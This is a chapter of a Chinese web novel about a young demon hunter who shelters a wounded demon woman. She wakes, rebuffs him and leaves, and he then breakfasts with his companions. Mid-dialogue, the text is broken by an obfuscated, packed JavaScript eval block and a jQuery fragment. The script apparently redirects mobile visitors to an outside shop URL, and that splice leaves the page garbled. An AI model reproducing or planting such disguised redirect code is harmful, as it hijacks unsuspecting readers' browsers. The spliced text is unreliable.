6. 山河玉骨美人目3

作品:《别急着杀我,让我哭一哭

    胥远期想反驳,简无遗没给他这个机会,径直与他擦肩而过,走出房门,冷漠地丢下一句:“你的事我无意管,劝你好自为之,希望你们二人不会死在对方的手上。”


    胥远期张张嘴,竟被堵的无话可说。


    他只能从其他方面发泄怨气:“无意管?那你拿剑做什么?私自进别人房间很不礼貌,若不是我及时回来……”


    闻言,简无遗的目光也落在了剑身上,他缄默不言,推开了自己的房门,又无声关上。


    胥远期见他离去,连忙来到女子身旁,只是奇怪的是,她的伤竟然愈合了,连衣裳的血也都无影无踪。


    他暗道奇怪,可想起这女子是妖,便也不再奇怪。


    他将药瓶放在桌上,而后便趴在床边看着昏睡的女子,少年的眼清亮含情,如水波暗涌,荡漾在温柔火光之下。


    床上人病恹恹的美,让人沉迷又心疼。


    胥远期像乖巧的小狗一般,那双眼逐渐黯淡下来,他在想,自己这般冲动仅仅是为了梦中的一张脸吗?


    说实话,他还没见过这般清冷的一张脸。鹅蛋脸,线条柔和流畅,五官精致立体,女子的额头佩戴银色的镂空雕花额饰,两侧有细链向头顶发间延伸,细链上点缀有小珠饰,垂坠的银质流苏正贴合眉心。耳饰也甚是精巧,圆形雕花银片下垂坠多层银质流苏。


    她安静地躺在那里,宛若雪山流下的一滴泪。


    见色起意?这话太难听了,胥远期更像是身体的本能驱使他做这一切。


    看着看着,他又想起简无遗今夜说的话,他确实有些介怀。


    “好自为之?”


    胥远期轻嗤了一声,自言自语道:“我怎么不好自为之了。”


    可说完这话,他嘴唇微抿,显得有点没底气。


    他坐在地上,背靠着床边,双手抱在胸前打算就这样睡觉,可身体辗转了片刻,隐隐觉得背后作痛,浑身越来越不得劲。


    没办法,他脱去上衣,露出了坚实又不夸张的肌肉,他艰难地扭头看去,瞬间一股无奈涌上心头。


    在棺材铺被简无遗打的那个地方已经青紫一片。


    他边穿衣服边吐槽着:“故意的吧,这打的比妖怪还重!”


    他摇头:“算了,今夜也打了他一掌,扯平了。”


    他重新坐下,本想坦然睡觉,可脑中充斥着大量的疑问。


    “血衣灭门……灭门之妖也属于危妖吗?”


    “归墟哀响究竟是什么?”


    “易世安……四年前死去的,这哀响好像也是几年前传来的,难道与易世安有关吗?”


    下山的第一个夜晚,实在难以入睡。


    他站起身,又走到书柜前,看见了最新的一本,翻开一看,记载的是今夜的白骨妖,这执笔人的速度倒真是快。


    他拿出几本故人记与万妖录,坐在书桌前来回翻看。


    天快亮的时候,少年才趴在桌上睡了过去。


    而昏睡了一天两夜,云落终于醒来了。


    房间里萦绕着温和的暖意,与躺在棺材中的感觉决然不同。


    她的眼皮跳动了一下,星眸一睁,露出一双甚是好看的眼睛,如一汪秋水般圆润的杏眼,眼尾微微上挑,但眼下总有着浅浅的红,仿佛藏了很多泪一样,美得让人生怜。


    云落坐起身,肢体像有些麻木一般停顿了片刻,似想起了什么,一滴泪迅速地滑落,她浅吸一口气,抬眼看向四周。


    “归墟司?”


    她心中想,于是挑眼看向门的方向,胥远期趴在门旁边的桌子上睡了过去,她只能看见少年的背影。


    不过她好像并不想探究自己为何会在这,只是很快起了身,几步走向出口,伸手拉开木门便向外走去。


    胥远期耳边敏锐地察觉到细微的动静,他一抬头,看见了脚步即将迈过门槛的云落。


    少年没想到一醒来就看到这一幕,他连忙起身喊道:“姑娘!”


    听到这声音,云落的脚步一顿,但仍下意识地向前走了一步,不过仅仅一步,她又停了下来,那几秒钟甚是漫长,她转过身,胥远期那张脸映入她的眼眸。


    清风徐来,摇曳美人衣,胥远期察觉到她的目光似乎变了。


    但单靠他这虚薄的十九年,他是看不懂这眼神的。


    云落先是看着他的脸,然后目光又扫过他的衣饰,胥远期一时也不知该说些什么,双方沉默良久后,云落一言不发,转身要离去,回头的那刹,她的泪如清露,没有任何预兆,空然坠下。


    而胥远期恰好看不见。


    见她要走,胥远期连追过去,他道:“姑娘你别害怕,我虽是除妖师,但绝不会伤害你,我是看你受伤了才将你带回来……”


    不自觉地,他的手竟抓住了云落的手腕。


    等对方停下来后,他才意识到此举不妥。


    云落轻瞥了一眼他的手,胥远期迅速收了回去,刚想道歉,云落终于开口说道:


    “你认识我吗?”


    她的声音冷若冰霜。胥远期局促地摇了摇头。


    见状,云落冷冷落下去一句:“那就不要跟着我。”


    她继续走,胥远期不死心,继续追:“这里很危险……”


    美人苍白素净的脸上出现一丝愠色:“不要跟着我……”


    语气加重了几分,胥远期心里莫名有些难过,于是他停下脚步,声音艰涩道:“你的伤还疼吗?”


    他知道自己逾矩了,但奈何他的心好像已经不属于自己了。


    想起妖对疼痛的感知能力是人的百倍以上,他还是会担忧。


    云落背对着他,他看不见她的神情,云落也没有回答他这个问题,头也不回地离开。


    胥远期失落地站着,他懊悔不已,感觉刚刚自己跟疯了似的,表现得一点都不好。


    为防止意外,他还是跟了出去,却没再看见云落的身影。


    胥远期看了一眼外面,太阳已升起了,估计大家都起来了,若是到了吃饭的时间自己还不在,岂不是显得有几分可疑?


    他叹了一口气,一回头,顾清冉、纪白汐、许裳裳三人正在远处偷看。


    三人见自己被发现了,瞬间尴尬至极,搓着手摇着头走了过来。


    顾清冉:“你这……没事……”


    胥远期:“你们……“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469012|201376||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纪白汐:“昨夜……今早……”


    许裳裳:“这……还挺意外的。”


    胥远期挠挠头解释道:“我昨夜看她受伤了,就想着带她回来。”


    三人齐问:“你之前认识她吗?”


    胥远期面露难色:“这很难说。”


    三人面面相觑,然后每人走到他跟前锤了一下他肩膀。


    顾清冉:“远期你胆子真大!”


    纪白汐:“远期你出息了!”


    许裳裳:“远期我们相信你的选择!”


    胥远期放下心来笑了笑,他们几个是最后到偏殿的。


    殿中央横列五张长桌,它们拼接在一起,其他除妖师和执笔人都已落座。


    晚来的几人匆匆坐下,顾清冉不愿和顾长聿坐在一起,中间只得隔了许裳裳,想来是昨夜吵完架后还没有和好。


    昨夜晚归在门外撞见的那少年坐在胥远期斜对面,他低着头,每吃一口饭,目光便呆滞片刻,不知道心里在想着些什么。


    他看了一圈,简无遗不在。


    纪白汐坐在胥远期身旁,他是一个看起来有几分稚气的少年,毕竟他也是这一行人里最小的,才十七岁。


    胥远期轻唤:“小汐。”


    “嗯?”


    少年看起来胃口极好,碗里堆满了饭,抬头的时候嘴边还一圈油。


    纪白汐下意识地用袖口擦嘴,可眼神却瞟见桌上有摆放的整整齐齐的餐巾,于是慌忙拿过一块餐巾擦了擦嘴。


    胥远期笑道:“怎么吃得这么着急?”


    少年略显羞涩地笑了笑。


    胥远期又问:“你见到简无遗了吗?”


    他想起昨夜的事,于是顺口打听道。


    纪白汐眼睛微闭想了一下:“是风云派那个与易世安有些像的?”


    胥远期迟疑地点了点头。


    “他来的挺早,吃了一点东西便走了,应该去后山修习去了,昨夜我也看见他去那里练了很久。”


    “昨夜?”


    胥远期昨夜看见简无遗提着剑站在云落床边,他还以为他是特意来杀人的,现在想来,很有可能是他练完功回来直接走进了他的屋中。


    他心中道:“可能是误会他了。”


    早上的伙食,有鱼有肉还有汤,白面馒头堆在盆里堆得老高,胥远期去的时候,菜还有很多,馒头只剩几个了。


    胥远期舀了一勺粥,拿了一个馒头。


    以前在宗门都是这样吃,如今看见满汉全席反而有些不习惯。


    这时,突然“啪”的一声,本好好吃饭的一位白发执笔人忽然大力拍了一下桌子,胥远期与其他人还当自己犯了错,目光皆被吸引了过去。


    老人道:“大胆!尔等怎还不出剑!等着束手就擒吗!”


    胥远期:额?


    一年轻的执笔人连忙将他扶起,带着他匆匆出了门,可这老人依旧边走边大叫着,重复着相同的话。


    席间的一位执笔人看着众少年疑惑的双眸,冷静道:“大家不必在意,他因为过往的意外已疯了许多年。”


    除妖师们瞬间明白:这老人就是血衣灭门的幸存者。